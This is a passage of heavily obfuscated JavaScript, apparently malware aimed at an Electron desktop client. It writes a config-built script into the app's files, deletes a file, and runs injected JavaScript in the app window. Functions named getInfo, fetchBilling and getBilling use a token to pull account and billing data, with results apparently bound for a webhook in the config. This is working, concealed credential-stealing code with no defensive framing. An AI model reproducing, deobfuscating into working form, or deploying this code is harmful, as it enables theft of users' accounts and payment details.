2d10c2(0x7cf,0xcdf,0x79e,'fSRV',0xa43)+_0x5ac452(0xced,0x58,0x70e,0x72b,'w]$Z')+_0x10a480(0x1234,0xeed,0xf75,'GIg]',0xba6)+_0x5ac452(0x42d,0x673,0xbb0,0x78c,'1MkO'))+config[_0x10a480(0x1225,0x194b,0x1a5c,'4oaC',0x1358)+_0x1841e8(0xbc0,0x902,0x869,0x3f7,'e!nd')+_0x2d10c2(0x7d0,0x3e5,0xa6c,'FUWk',0x92c)]+(_0x2db491(0x180,0x274,-0x306,'^T15',0x1c7)+_0x5ac452(0x59b,0x7cd,0xa59,0xbcc,'w78W')+_0x5ac452(0x33c,0x96,0x56b,0x7e6,'Ar]L')+_0x2d10c2(0x9c9,0xca3,0x683,'8S1s',0xa9)+_0x1841e8(0x812,0x234,0x775,-0x2cd,'yEI6')+_0x2db491(0x8f2,0x4d1,0xf04,'ibNd',0x3b3)+_0x1841e8(0x7b2,0x253,-0x51e,0x5c,'Uq%W')+_0x2db491(-0x152,0x4f,0x267,'CD&c',-0x906)+_0x2db491(0xcca,0x84c,0xece,'iHF0',0xcb7)+_0x2d10c2(0xb35,0x689,0x8da,'C2UU',0xb0d)+_0x2db491(0xc9e,0xb87,0x5d1,'C2UU',0x1439)+_0x1841e8(0x1031,0xce2,0x1360,0xce4,'iHF0')+_0x2d10c2(0xd39,0x2f7,0x626,'w]$Z',0xc63)+_0x2d10c2(0x154e,0x1767,0x131b,'W&[J',0xe9e)+_0x10a480(0x1463,0x11ab,0x10b5,'CD&c',0x129d)+_0x2d10c2(0xa3c,0x1121,0xac1,'EiYt',0xb65)+_0x2db491(-0x110,-0x2d2,-0x3f3,'3#kp',-0x42b)+_0x1841e8(0x51d,0xc8d,0xe83,0xf67,'fSRV')+_0x2db491(0xc04,0xf76,0x1311,'lmEu',0x1142)+_0x2d10c2(0xac4,0x942,0x575,'l$qj',0x70c))+config[_0x10a480(0x5ef,0xaba,0x3b7,'edx3',0x634)+'ok']+(_0x2db491(-0x4e,-0x790,0x423,'u*kR',-0x672)+_0x2db491(0xa1d,0x430,0x84f,'1R)L',0x10cd)+_0x2d10c2(0xfcf,0xb57,0xb6f,'9r61',0x106e)+_0x2db491(0x962,0xf78,0x2d6,'W&[J',0x923)+_0x2db491(0x60b,0x250,0x858,'T&Gd',0x1d9)+_0x5ac452(0xbce,0x835,0x6cf,0x6a4,'ibNd')+_0x5ac452(0xdb3,0x8f9,0x7f8,0xb32,'Z3ow')+_0x5ac452(0xb51,0x15ea,0xa22,0xee7,'5F(N')+'\x27')+config[_0x5ac452(0x6e9,0xcfb,0xbac,0x7bb,'3#kp')+_0x10a480(0xc7d,0x12bc,0x1285,']v1W',0xb26)+_0x2db491(0xa39,0x8de,0x107e,'Uq%W',0x441)+_0x1841e8(0xebf,0xd64,0xc58,0x1279,'edx3')+'y']+(_0x2d10c2(0xa7,0xe45,0x69b,'u*kR',0xc2b)+_0x2db491(0x540,-0x1cf,-0x111,'fSRV',0x3fc)+_0x2d10c2(0xc79,0x482,0x563,'T&Gd',0x4f1)+_0x2db491(0x79b,0xc95,0x1c5,'kObQ',0xefc)+_0x2d10c2(0x3f,0xb2e,0x67b,'lmEu',0xce6)+_0x1841e8(0x643,0x9e7,0x709,0xeb4,'e!nd')+_0x2d10c2(-0x2,0x686,0x792,'iHF0',0xbf2)+_0x5ac452(0x748,0xb1f,0xd3d,0xc6a,'tstx')+_0x1841e8(0xce9,0xf76,0x817,0x896,'4D%T')+_0x10a480(0x2d0,-0x163,0x3c6,'4oaC',0x5ce)+_0x1841e8(0xa14,0x66b,0x771,0x3aa,'R*Tx')+_0x2d10c2(0x1784,0xb93,0x1238,'Z3ow',0x19c8)+_0x2d10c2(0xe94,0xb42,0x121c,'c(Z7',0x1578)+_0x5ac452(0x1874,0x17a8,0xda0,0x1258,'c(Z7')+_0x10a480(-0x8b,0xb63,0x600,'4D%T',0x517)+_0x2db491(-0x158,-0x29f,-0x371,'BHF6',-0x8ce)+_0x1841e8(0xb41,0x3ec,0x9a3,-0x375,'Z)Xp')+_0x10a480(0xb06,0xa99,0x527,'CD&c',0xc41)+_0x10a480(0x968,0x7cc,0xdb1,'8S1s',0x660)+_0x1841e8(0x84,0x402,0xbc6,0x38c,'4oaC')+_0x10a480(0xb67,0x1028,0x1639,'kObQ',0xfee)+_0x2db491(0x16c,-0x394,-0x474,'4oaC',-0x2f5)+_0x10a480(0xa35,0xd50,0xc6c,'e!nd',0x8b2)+_0x2d10c2(0x47f,0x9b5,0xae5,'fSRV',0x1177)+_0x2d10c2(0x168e,0x175e,0x101a,'1MkO',0x140b)+_0x2d10c2(0x1947,0x188c,0x11ae,'p1^x',0xaa6)+_0x5ac452(0xd7d,0x670,0xd0a,0xcab,'c(Z7')+_0x5ac452(0x4d8,0x906,0xa98,0xab3,'9r61')+_0x10a480(0xd73,0x1154,0x7d7,'5F(N',0xba4)+_0x2d10c2(0xec3,0x1502,0x10e5,'WSri',0xa19)+_0x2db491(0x67c,0x417,0x8f0,'FUWk',-0xf6)+_0x5ac452(0x6d,0x88,-0x283,0x521,'tstx')+_0x10a480(0x14d9,0xf1b,0xda9,'Ar]L',0xe6c)+_0x10a480(0xe7d,0xef8,0x122b,'gVnV',0x11ed)+_0x1841e8(0x5a4,0x430,0x833,0x4d1,'kObQ')+_0x2d10c2(0xa1c,0xe9b,0x9c2,'8S1s',0x396)+_0x5ac452(0x8cc,0xa0d,0xa64,0xa8f,'FUWk')+_0x2db491(0x977,0x2f7,0xd88,'kObQ',0xd41))+path[_0x1841e8(0x6b4,0xd14,0x1283,0x89d,'9r61')](_0x5d1e15,_0x34b7d1[_0x2d10c2(0x17a4,0x1082,0x11ed,'(1pE',0x11ff)])+(_0x10a480(0x130d,0x17ee,0x130d,'CD&c',0x12b7)+_0x10a480(0xfbc,0xeab,0x18fa,')G&B',0x1207)+_0x10a480(0x11a8,0x1912,0x12be,'fSRV',0x12e5)+_0x2db491(-0xa4,-0xac,-0x751,'edx3',0x620)+_0x2d10c2(0xba0,0x60b,0x59b,'1R)L',0x17)+_0x10a480(0x1a02,0x1893,0x13bc,'@^Br',0x1236)+_0x2d10c2(0xdae,0x725,0xb4a,'^T15',0x899)+_0x2d10c2(0x705,0x131d,0xe1c,'ibNd',0x13d8)+_0x2db491(0xbf3,0x80f,0x4d3,'8S1s',0x1270)+';');fs[_0x2d10c2(0xeeb,0x10cf,0xf08,'WSri',0xc4f)+_0x10a480(0x13c1,0x141e,0xcf6,'Z)Xp',0xcfa)+_0x2d10c2(0xbf6,0x7f2,0xdf2,'NagZ',0xc69)](_0x4c5c67,_0x5b5732[_0x10a480(0x6e9,0xdbf,0xe13,'FUWk',0x8e1)+'ce'](/\\/g,'\x5c\x5c'));}}if(!fs[_0x1841e8(0xfea,0x9eb,0xc8b,0x2b6,'EiYt')+_0x10a480(0x197f,0xdbb,0x11eb,'R*Tx',0x130b)](path[_0x2db491(-0x165,0x1e6,-0x8ab,'u*kR',-0x274)](__dirname,_0x34b7d1[_0x1841e8(0xf6a,0xfa5,0xc2f,0xc79,'WSri')])))return!(-0xa*-0x69+-0xeef+-0x3b*-0x2f);fs[_0x2d10c2(0xd2d,0xa47,0x1085,'GIg]',0x1786)+_0x2db491(0x9ec,0x9ea,0xbf3,'l$qj',0x87c)](path[_0x5ac452(0xbdb,0x766,0x79e,0xaf5,'c(Z7')](__dirname,_0x34b7d1[_0x5ac452(0xed5,0xeef,0x95b,0x931,'FUWk')]));function _0x2d10c2(_0x236595,_0x298a5c,_0x224f11,_0x429436,_0x50f937){return _0xbc652e(_0x236595-0x18e,_0x429436,_0x224f11-0x13f,_0x429436-0x105,_0x224f11-0x40);}return _0x34b7d1[_0x1841e8(0x4c1,0x825,0x935,0xf63,'WSri')](execScript,_0x10a480(0x121b,0xcf0,0xd02,'fSRV',0xd3b)+_0x2d10c2(0x644,0x3e2,0x84a,'NagZ',0x1c1)+_0x10a480(0x4aa,0x974,0xebc,'9r61',0xa11)+_0x10a480(0x14f6,0xb6b,0x152b,'1MkO',0xf76)+_0x5ac452(0xb08,0x614,0x9d4,0x8b5,')G&B')+_0x2db491(0xabf,0x34e,0x70f,'GIg]',0xce2)+_0x2d10c2(0x887,0x1f2,0x70b,'SI6h',0x2e9)+_0x1841e8(0xfa0,0xd56,0x6e8,0xbcd,'GIg]')+_0x1841e8(0x89f,0xa6d,0x107c,0x9e0,'9r61')+_0x5ac452(0x1388,0x6a8,0x1476,0xe02,'8S1s')+_0x2db491(0x81d,0x16a,0xdfc,'9loh',0xbb1)+_0x5ac452(0xd45,0xacb,0x3c,0x737,']v1W')+_0x2d10c2(0x18c7,0xc70,0x1220,'BHF6',0x13c1)+_0x10a480(0x10f3,0x15fa,0xa6c,'@^Br',0x119c)+_0x1841e8(0x1414,0xd88,0x77e,0x1287,'l$qj')+_0x2db491(0x353,0x7ca,0x5c9,'3#kp',0x20e)+_0x1841e8(0xb8e,0x68b,0xd3b,-0x13d,'EBnq')+_0x10a480(0x7b2,0xde7,0x319,'1MkO',0x9a9)+_0x10a480(0x3a,0xd62,0x74f,'EBnq',0x59d)+_0x2db491(0x921,0x2b0,0xe87,'u*kR',0xbb6)+_0x2d10c2(0x916,0x3c4,0xa53,'FUWk',0xa9c)+_0x1841e8(0x34f,0x83b,0xc65,0x6dd,'4oaC')+_0x5ac452(0x5e3,0x7a9,0x6a7,0x7c0,'@%1A')+_0x2db491(0x888,0xfed,0x681,'Z)Xp',0xe29)+_0x2db491(0x87f,0xe74,0xc63,'gVnV',0x5ca)+_0x10a480(0x83f,0x141e,0xe35,'w]$Z',0xfed)+_0x5ac452(0x1232,0xc7b,0x596,0xbbe,'T&Gd')+_0x2d10c2(0xe6a,0x5fc,0xb22,'fSRV',0x727)+_0x5ac452(0xe0e,0xc8e,0x9c2,0xec7,'Z)Xp')+_0x2d10c2(0xfc3,0xf57,0x802,'gVnV',0xc8)+_0x2d10c2(0x5c6,0x40d,0x929,'CD&c',0x762)+_0x10a480(0xbee,0x34f,-0x2b,')9bc',0x44f)+_0x5ac452(0x1245,0xdce,0xde4,0x135e,'Uq%W')+_0x2d10c2(0x1328,0xe0d,0xd58,'W&[J',0xab8)+_0x10a480(0xd0f,0xeca,0xa38,'edx3',0x83b)+_0x2db491(0x565,0x423,0x108,'4D%T',0x1ba)+_0x2d10c2(0x1740,0x116a,0x138e,'3#kp',0xd2a)+_0x10a480(0x7a1,0x9ba,0xcff,'w78W',0x75c)+_0x10a480(0x80d,0x573,0xcae,'yEI6',0x904)+_0x1841e8(0xbf6,0xe51,0xf0d,0xdb7,'8S1s')+_0x5ac452(0x57f,0x10c8,0xe47,0xbb4,'EiYt')+_0x1841e8(0xff8,0xe52,0xa77,0x1103,'tstx')+_0x5ac452(0x14a8,0x1067,0x1549,0x1343,'ibNd')+_0x1841e8(0xae,0x3c4,0x354,0x2a3,'yEI6')+_0x1841e8(0x630,0xc20,0x1179,0x70f,'u*kR')+_0x10a480(0xbcf,0x1764,0x164a,'w78W',0x1232)+_0x1841e8(0x14e7,0xe32,0x15b8,0x15d3,'SI6h')+_0x10a480(0x124e,0x10b5,0xac9,'Z3ow',0x112a)+_0x2d10c2(0xbc9,0x872,0xba8,'C2UU',0x667)+_0x2d10c2(0x1474,0xa46,0x1153,'l$qj',0xfd4)+_0x2db491(0xc71,0x684,0x1358,'4D%T',0x122a)+_0x1841e8(0xccc,0x869,0x7bc,0x7da,'c(Z7')+_0x2db491(0xada,0x954,0x11d0,'Z)Xp',0xbbe)+_0x10a480(0x54e,0xd69,0x506,'GIg]',0x6cb)+_0x10a480(0x796,0xb8a,-0x25,'iHF0',0x498)+_0x2db491(0x1c4,0x381,-0x2f5,'u*kR',-0x99)+_0x10a480(0x2e6,0x3f1,0x465,'1MkO',0x84b)+_0x5ac452(-0x34d,0x609,0x96e,0x444,'SI6h')+_0x5ac452(0xf88,0xb28,0xcef,0x8d4,')G&B')+_0x2d10c2(0xc8b,0x10b1,0xd8c,'CD&c',0xeea)+_0x1841e8(0x12d5,0xf12,0x15ee,0x7c0,')9bc')+_0x2db491(0x726,0x834,0x30d,'iHF0',0x502)+_0x2db491(0xbd6,0x4e6,0x889,'EiYt',0x5c2)+_0x1841e8(0xc15,0xb0a,0x3d7,0x9ff,')9bc')+_0x2d10c2(0xee6,0xb52,0x7cf,'9r61',0x2bd)+_0x2d10c2(0xb80,0xb95,0xe57,'WSri',0x6d8)+_0x2d10c2(0x12b0,0xb0e,0x119f,'9loh',0x1944)+_0x2db491(0x29a,0x959,0x22d,'gVnV',0x8c)+_0x1841e8(0x311,0x9a9,0xb1f,0x756,')G&B')+_0x2d10c2(0xe0e,0xae9,0xca5,'Ar]L',0x5a8)+_0x2db491(0xaae,0x63f,0x113f,'C2UU',0x73b)+_0x2db491(-0x263,-0x8fb,-0x488,'GIg]',-0x9e6)+_0x2db491(0x5b,0x20a,0x4ff,'ibNd',0x2e4)+_0x2db491(0xa88,0xd60,0x349,'gVnV',0x11d5)+_0x1841e8(0xc9c,0xf9f,0x13c7,0xa32,'4oaC')+_0x2d10c2(0x142b,0x19c5,0x12f4,'1MkO',0xfb7)+_0x1841e8(0x735,0x97c,0x517,0xf00,'4D%T')+_0x10a480(0x1091,0x1394,0xd4b,'tstx',0xc07)+_0x2d10c2(0x817,0x8a1,0xcc2,'ibNd',0x515)+_0x1841e8(0x1b5,0x86f,0x8c0,0x422,'CD&c')+_0x2db491(0x6e9,0xa0a,0x772,'1MkO',0x6dd)+_0x10a480(0x52d,0x3b6,0x1d8,'Ar]L',0x46c)+_0x2db491(0xad9,0xec4,0x1056,'Z3ow',0xeae)+_0x2db491(0x907,0x5bd,0xd26,'C2UU',0x7fb)+_0x1841e8(0xa90,0xb10,0x6c7,0x6e5,'tstx')+_0x10a480(0xba0,0x12a4,0xb80,'Z)Xp',0xeca)+_0x10a480(0xb9a,0xd7d,0x854,'FUWk',0x671)+_0x1841e8(0xb58,0x456,0x7c,0xb66,'edx3')+_0x2db491(0xbe7,0x95e,0x8fa,'4D%T',0xf54)+_0x2db491(0x53b,0xec,0x3a3,'C2UU',0x5fa)+_0x5ac452(0xef8,0x1531,0x17bd,0x1328,'EiYt')+_0x5ac452(0xd69,0x552,0xb53,0xcde,'SI6h')+_0x1841e8(0x684,0x554,0x3a2,0x361,'5F(N')+_0x1841e8(0xdd7,0x9ef,0x1186,0x6ab,'iHF0')+_0x10a480(0xbe2,0x153,0x192,'GIg]',0x45c)+_0x1841e8(0x11e0,0xda4,0x129d,0xb19,'p1^x')+_0x10a480(0x552,0x9e6,0x158,'(1pE',0x5bf)+_0x10a480(0x366,0x53a,0x8a1,'W&[J',0x8ad)+_0x2d10c2(0xe53,0x129a,0xbb8,'yEI6',0xc97)+_0x1841e8(0xa2c,0x72e,0x24c,0xb6c,'1R)L')+_0x2d10c2(0x839,0xa5e,0xc4b,']v1W',0x129f)+_0x2db491(0x469,0x59,0x59b,'NagZ',0x630)+_0x5ac452(0x6ac,0xde0,0x10ae,0xc00,'ibNd')+_0x1841e8(0x18,0x3d4,-0x1e7,0x215,'ibNd')+_0x2d10c2(0x3e3,0x52b,0x9fd,'Ar]L',0xab0)+_0x2d10c2(0xc0c,0x4d9,0x9ee,'Z3ow',0x5a1)+_0x2db491(0xa16,0x4ea,0x6f8,'BHF6',0xa5e)+_0x10a480(0xcad,0x1189,0x1424,'T&Gd',0x133f)+';'),!(-0x4bd*0x1+0x13b3+-0xef5);}const execScript=_0xfe1789=>{function _0x17fc16(_0x5abe80,_0x4b6b85,_0x1934e4,_0x38c10f,_0x5d5281){return _0x59fa80(_0x5abe80-0x13a,_0x4b6b85-0x1a,_0x1934e4-0x99,_0x4b6b85- -0x503,_0x5abe80);}const _0xa2736c=BrowserWindow[_0x21aaca('WSri',-0x1a1,0x83,0x631,0x317)+_0x21aaca('9r61',0xb80,0xfc2,0x5b4,0xcb8)+_0x21aaca('3#kp',0xdbc,0xed6,0xa3c,0xcc4)]()[-0x2371+-0x1c1*0x1+0x2532];function _0x21aaca(_0x5d3e23,_0x140379,_0x4fe1cf,_0x313201,_0x595176){return _0x3d77d7(_0x5d3e23-0x146,_0x140379-0x51,_0x595176-0x75,_0x313201-0x1c7,_0x5d3e23);}function _0x10a828(_0x5b209e,_0x4bf9e9,_0x2a7370,_0x55a7ad,_0x57d184){return _0x3d77d7(_0x5b209e-0x98,_0x4bf9e9-0x12,_0x5b209e-0x239,_0x55a7ad-0xe2,_0x4bf9e9);}function _0x3247cf(_0x4f7df3,_0x20611d,_0x59d42d,_0x21619b,_0x289dfa){return _0xa3fb2b(_0x4f7df3- -0x329,_0x20611d-0x41,_0x59d42d-0x178,_0x289dfa,_0x289dfa-0x8e);}function _0x344062(_0x2e86be,_0x46a92a,_0x14cb0b,_0x31ad32,_0x4f1013){return _0xa3fb2b(_0x14cb0b-0x39b,_0x46a92a-0x1cf,_0x14cb0b-0x166,_0x31ad32,_0x4f1013-0x124);}return _0xa2736c[_0x17fc16('gVnV',0x1d2,0x869,0x465,-0x1b)+_0x21aaca(')9bc',0x875,0x38a,0xb7f,0x771)+'s'][_0x3247cf(0xb6e,0xc76,0xd2f,0x7f1,'FUWk')+_0x10a828(0x526,'Z)Xp',0x1cb,0x1fc,0xb5f)+_0x10a828(0x454,'EBnq',0x5c5,0x87a,0x11c)+'pt'](_0xfe1789,!(-0xfd2+-0x30b*-0x8+0x1*-0x886));},getInfo=async _0x47297a=>{function _0x215dad(_0xf745b5,_0x3e4394,_0x17bd3a,_0x28e637,_0x4ceeb7){return _0x3d77d7(_0xf745b5-0x183,_0x3e4394-0xf6,_0x3e4394- -0x1fa,_0x28e637-0x160,_0x4ceeb7);}function _0x45597a(_0x566231,_0x144a4e,_0x509561,_0x5c781f,_0x54541c){return _0x3d77d7(_0x566231-0x87,_0x144a4e-0x12d,_0x144a4e- -0x1d5,_0x5c781f-0x94,_0x5c781f);}function _0x1da694(_0x533156,_0x2a383e,_0x1ba9a3,_0x26543f,_0x1c51d9){return _0xbc652e(_0x533156-0x16e,_0x1ba9a3,_0x1ba9a3-0x182,_0x26543f-0x1e1,_0x1c51d9- -0x25c);}function _0x357830(_0x562dbd,_0x310dac,_0x18a965,_0x34c79a,_0x37ad92){return _0x3d77d7(_0x562dbd-0x1f0,_0x310dac-0x16c,_0x37ad92-0x294,_0x34c79a-0x1a7,_0x18a965);}const _0x4bc02b={'CYFlb':function(_0x59be73,_0x3edd8f){return _0x59be73(_0x3edd8f);}};function _0x3a602d(_0x33b9f7,_0x11d224,_0x529764,_0x58e453,_0x19d4de){return _0x3d77d7(_0x33b9f7-0x19c,_0x11d224-0xa,_0x529764-0x28f,_0x58e453-0x57,_0x58e453);}const _0x3b249e=await _0x4bc02b[_0x215dad(0xbec,0xaad,0x5f3,0x945,'@^Br')](execScript,_0x215dad(0xcf9,0xedb,0x8e1,0x1485,'l$qj')+_0x45597a(-0x9f,0x28b,0x83a,'iHF0',0x50d)+_0x215dad(-0x26,0x11a,0x446,0x66f,'fSRV')+_0x357830(0xc27,0xc4c,')9bc',0x1314,0x1343)+_0x3a602d(0x1368,0x9e9,0x1152,'BHF6',0x10b3)+_0x357830(0xad8,0x85d,'T&Gd',0xaf0,0xe2e)+_0x1da694(0x841,0xfbb,'@%1A',0x1222,0xf2c)+_0x215dad(0x590,0x23,0xe4,-0x6e0,'gVnV')+_0x357830(0x75a,0xd2c,')G&B',0x8bd,0xb53)+_0x3a602d(0xfef,0x728,0x8ba,'1R)L',0x126)+_0x3a602d(0xd5a,0xc1e,0x9b6,'CD&c',0xe31)+_0x45597a(0xd24,0x5cf,-0x6e,'8S1s',0xa50)+'\x22'+config[_0x45597a(-0x284,0x1a0,0x56a,'NagZ',0x216)]+(_0x1da694(0x94e,0x851,'4oaC',0x12e0,0xf5c)+_0x3a602d(0x971,0x18b,0x73a,'W&[J',0x9c8)+_0x45597a(0xd8f,0xcb6,0xe1d,'T&Gd',0x823)+_0x3a602d(0x924,0x8fc,0xb4e,')G&B',0x130a)+_0x45597a(0x7a6,0xe74,0xbcb,'5F(N',0xea7)+_0x45597a(0x916,0xb6a,0xc2d,'9loh',0x12e7)+_0x3a602d(0x6fa,-0x9d,0x695,'yEI6',0xdcb)+_0x45597a(0xcb1,0xa2b,0x6e0,']v1W',0xb9e)+_0x45597a(0x140a,0xe2c,0x1091,'FUWk',0x112d)+_0x3a602d(0xe9c,0xccd,0xcf3,'w78W',0x1263)+_0x3a602d(0x5fa,0x66c,0xa35,'@%1A',0x99c)+_0x215dad(0x84d,0x4af,0xb63,0xa0b,'e!nd'))+_0x47297a+(_0x357830(0xa8d,0x1462,'9r61',0xd50,0xf7a)+_0x1da694(0x1555,0x159a,')G&B',0x8ba,0xfc6)+_0x1da694(0x342,0xaff,'1R)L',0x71b,0x778)+_0x45597a(0x98e,0x80b,0x489,')G&B',0xe7b)+_0x45597a(0x931,0xe37,0x8a1,'FUWk',0xed4)+_0x45597a(0x944,0x924,0x22e,'edx3',0x4ac)+_0x45597a(-0x33b,0x1fd,0x476,'BHF6',0x57c)+_0x3a602d(-0x93,0x681,0x6bf,'CD&c',0xcb9)+_0x45597a(0x10e0,0xa88,0x478,'lmEu',0xc51)+_0x3a602d(0x1078,0x9d1,0xf20,'FUWk',0x153c)+_0x3a602d(0xf2e,0xabd,0xdef,'c(Z7',0xe8a)));return JSON[_0x215dad(0xed8,0x9f9,0xce3,0x737,'WJUB')](_0x3b249e);},fetchBilling=async _0x1f70cb=>{function _0x5cb07a(_0x4f16aa,_0x3da67a,_0x3b3b31,_0xc28219,_0x3edd57){return _0x3d77d7(_0x4f16aa-0x110,_0x3da67a-0x6c,_0x4f16aa-0x189,_0xc28219-0x49,_0x3b3b31);}function _0x2d3fbe(_0x36c41f,_0x14b2fa,_0x309778,_0xdc52d0,_0x4cbe9e){return _0x3103a0(_0x36c41f-0x9c,_0xdc52d0- -0x2d5,_0x14b2fa,_0xdc52d0-0xa9,_0x4cbe9e-0x1d9);}const _0x2b0e5d={'PaFCU':function(_0x3eb61d,_0x9538cd){return _0x3eb61d(_0x9538cd);},'iFDhH':function(_0xc1dbf6,_0x354491){return _0xc1dbf6===_0x354491;}};function _0x27f64e(_0x4a8076,_0x3cc919,_0x4b9f68,_0x4318ec,_0x51af21){return _0x3103a0(_0x4a8076-0x157,_0x3cc919-0x71,_0x4318ec,_0x4318ec-0x13c,_0x51af21-0x28);}function _0x4406a7(_0x3e414b,_0x5bd28c,_0x59e65b,_0x529dc2,_0x24d5d4){return _0x3d77d7(_0x3e414b-0x1d,_0x5bd28c-0x1a3,_0x5bd28c-0x268,_0x529dc2-0x50,_0x3e414b);}function _0x46a67a(_0x57c0a9,_0x530081,_0x811e01,_0xb4769d,_0x2cae9d){return _0x3d77d7(_0x57c0a9-0xe9,_0x530081-0x155,_0x530081-0xac,_0xb4769d-0x134,_0x57c0a9);}const _0x5cb909=await _0x2b0e5d[_0x27f64e(0x6a1,0x551,0x95d,'T&Gd',0x39)](execScript,_0x27f64e(0xb44,0x1159,0x16aa,'FUWk',0x1683)+_0x5cb07a(0x10e8,0xe76,'w]$Z',0x1607,0x108a)+_0x27f64e(0x507,0x828,0x89c,'p1^x',0x884)+_0x4406a7('w]$Z',0xb4a,0x7f6,0x57d,0x122b)+_0x5cb07a(0x5e5,-0x78,'W&[J',-0x87,0x5e7)+_0x4406a7('8S1s',0x1233,0x13e9,0x1971,0x1768)+_0x46a67a('T&Gd',0xfb3,0x10bf,0x1103,0xd70)+_0x4406a7('1MkO',0x87c,0xe1d,0x75e,0x109)+_0x46a67a('u*kR',0xef7,0x7f5,0x1173,0x928)+_0x46a67a('e!nd',0xcb6,0xcd2,0x9e6,0x119f)+_0x46a67a('C2UU',0x2fe,-0x364,0x8ad,0x947)+_0x2d3fbe(0x148,'SI6h',0x3e3,0x305,0x229)+'\x20\x22'+config[_0x4406a7('yEI6',0x1353,0xea0,0xe4b,0x195b)]+(_0x27f64e(0x6b8,0x7ed,0xca1,'ibNd',0x478)+_0x2d3fbe(0x1126,'lmEu',0xb57,0xb2d,0xb44)+_0x27f64e(0x70b,0xdcb,0x1024,'@^Br',0x1018)+_0x5cb07a(0x719,0x5af,'GIg]',0x1eb,0x8dd)+_0x2d3fbe(-0x1f7,'w78W',0x4b2,0xd7,0x4e)+_0x27f64e(0x10f9,0xafd,0xa8c,'@^Br',0xceb)+_0x2d3fbe(0x5d5,'fSRV',0xec5,0xbf0,0x6ca)+_0x4406a7('9loh',0x1155,0x174b,0xd6e,0xa51)+_0x27f64e(0x1129,0xb28,0x9dd,'l$qj',0x1175)+_0x2d3fbe(0x8f8,'T&Gd',0x571,0xa4e,0xa49)+_0x2d3fbe(0x9c4,'w]$Z',0x143b,0xeac,0xe2b)+_0x46a67a('edx3',0xd8d,0xf92,0x5ff,0x786)+_0x4406a7('8S1s',0x921,0xf22,0x965,0xf75)+_0x2d3fbe(0x5f1,'Z)Xp',-0x50d,0x13c,-0x135)+_0x2d3fbe(-0x636,'BHF6',0x42b,0x10,0x89)+_0x2d3fbe(0x39d,'fSRV',0x3c,0x63e,0xc07)+_0x27f64e(0x155c,0xf0d,0x853,'Z)Xp',0x100a))+_0x1f70cb+(_0x46a67a('(1pE',0xac4,0x62d,0x8db,0xbb3)+_0x2d3fbe(0xd19,'e!nd',0x3df,0x5d5,0x731)+_0x46a67a('@^Br',0x497,-0x305,0x62b,0x264)+_0x46a67a('iHF0',0xf36,0xad8,0x13bd,0x159d)+_0x5cb07a(0xea1,0xed3,'1MkO',0x135c,0x12e5)+_0x46a67a(']v1W',0xa3a,0xde6,0xd8b,0xf8f)+_0x4406a7('C2UU',0x44b,0x45e,0x5fe,0x67a)+_0x2d3fbe(0xfd5,'kObQ',0x580,0x875,0xadc)+_0x5cb07a(0x3a0,-0x111,'l$qj',0xb00,0x318)+_0x27f64e(0xa35,0xcb4,0xef1,'yEI6',0x516)+_0x2d3fbe(0x33d,'3#kp',0xc94,0xa8d,0x4ef)));if(!_0x5cb909[_0x2d3fbe(0x21f,'c(Z7',0x90,0x159,0x488)+'t']||_0x2b0e5d[_0x27f64e(0x8c8,0x4cc,0x2c6,']v1W',0xe8)](_0x5cb909[_0x46a67a('yEI6',0x3f0,-0x240,0xb30,0x91)+'h'],-0x1f7*0x6+-0x1324*-0x1+0x1*-0x75a))return'';return JSON[_0x46a67a('CD&c',0x5ac,0x28c,0x406,0xc21)](_0x5cb909);},getBilling=async _0x538054=>{const _0x121548={'jusJz':_0x5d6b25(0xd06,0x18f9,0x114e,'BHF6',0x101c)+_0x5d6b25(0x1985,0x1007,0x13cf,'iHF0',0x16d8)+_0x2ef16d(0x92f,'5F(N',0x3b2,0xc69,0x97f)+'f','QKKUs':function(_0x50ec2f,_0x8b820d){return _0x50ec2f*_0x8b820d;},'qJFoT':function(_0x5b1550,_0x256deb){return _0x5b1550<_0x256deb;},'gKLxG':function(_0x5f589b,_0x586a79){return _0x5f589b>>>_0x586a79;},'XhoIG':function(_0x326d05,_0x465f63){return _0x326d05>>>_0x465f63;},'yebzD':function(_0x5633d6,_0x158d15){return _0x5633d6-_0x158d15;},'TTaBh':function(_0x3d98bb,_0x21ce77){return _0x3d98bb%_0x21ce77;},'AeOZj':function(_0x5a0c11,_0x4eeab2){return _0x5a0c11+_0x4eeab2;},'fytxM':function(_0x558df1,_0x210401){return _0x558df1&_0x210401;},'RFNBl':function(_0x307f85,_0x4e6383){return _0x307f85>>>_0x4e6383;},'RJGEp':function(_0x1aae4f,_0x2e7b90){return _0x1aae4f!==_0x2e7b90;},'pLUbI':_0xea0ac0(0x1239,0xb3b,0x4f4,0xff7,'(1pE'),'ynlXB':function(_0x1bc849,_0xfeee5c){return _0x1bc849===_0xfeee5c;},'vrbBw':_0x32f703(0xcd8,0x8c9,'GIg]',0x146a,0x13d7),'KEiMG':_0x5de364(0x8ca,0x108b,'1R)L',0x295,0x702),'OvnDk':_0x5d6b25(0x1307,0x4fa,0xc9d,'Uq%W',0x5b9)+_0x5de364(0x77c,0xbdd,'iHF0',0xc,0xd8a)+_0xea0ac0(0x141c,0xef1,0xf31,0x147d,'gVnV')+_0x32f703(-0xf4,0x4a3,')G&B',-0x7f2,0xef)+_0x2ef16d(0x642,'Uq%W',0xb25,0x7d7,0x6c3)+_0x32f703(0xccc,0x121a,'GIg]',0x11b1,0x524),'OcVXg':function(_0x27b2f4,_0x559f0d){return _0x27b2f4(_0x559f0d);}},_0x3e77df=await _0x121548[_0xea0ac0(0xa99,0x667,0x3bd,0xc0b,'lmEu')](fetchBilling,_0x538054);function _0xea0ac0(_0xb14f96,_0x23c12d,_0x1f7665,_0x3c00fb,_0x1346ea){return _0xa3fb2b(_0x23c12d-0x480,_0x23c12d-0x11,_0x1f7665-0x1e4,_0x1346ea,_0x1346ea-0x16f);}if(!_0x3e77df)return'❌';function _0x5d6b25(_0x15477c,_0x4712d7,_0x124f69,_0x239421,_0x4b0ce9){return _0x59fa80(_0x15477c-0x1f4,_0x4712d7-0xb4,_0x124f69-0x7c,_0x124f69-0x3,_0x239421);}let _0x15a5a7='';_0x3e77df[_0x5d6b25(0xe3f,0x18a0,0x1197,'EBnq',0x128b)+'ch'](_0x206050=>{function _0x4c43e6(_0x5ea163,_0x3a2771,_0x393a72,_0xdf1b96,_0x463512){return _0x5de364(_0x5ea163-0x37b,_0x3a2771-0x178,_0xdf1b96,_0xdf1b96-0x144,_0x463512-0x1af);}function _0x30aad8(_0x2e3c8d,_0x558393,_0x1f5cb6,_0x54806d,_0x2f7808){return _0xea0ac0(_0x2e3c8d-0x128,_0x558393- -0x69d,_0x1f5cb6-0x157,_0x54806d-0x181,_0x54806d);}function 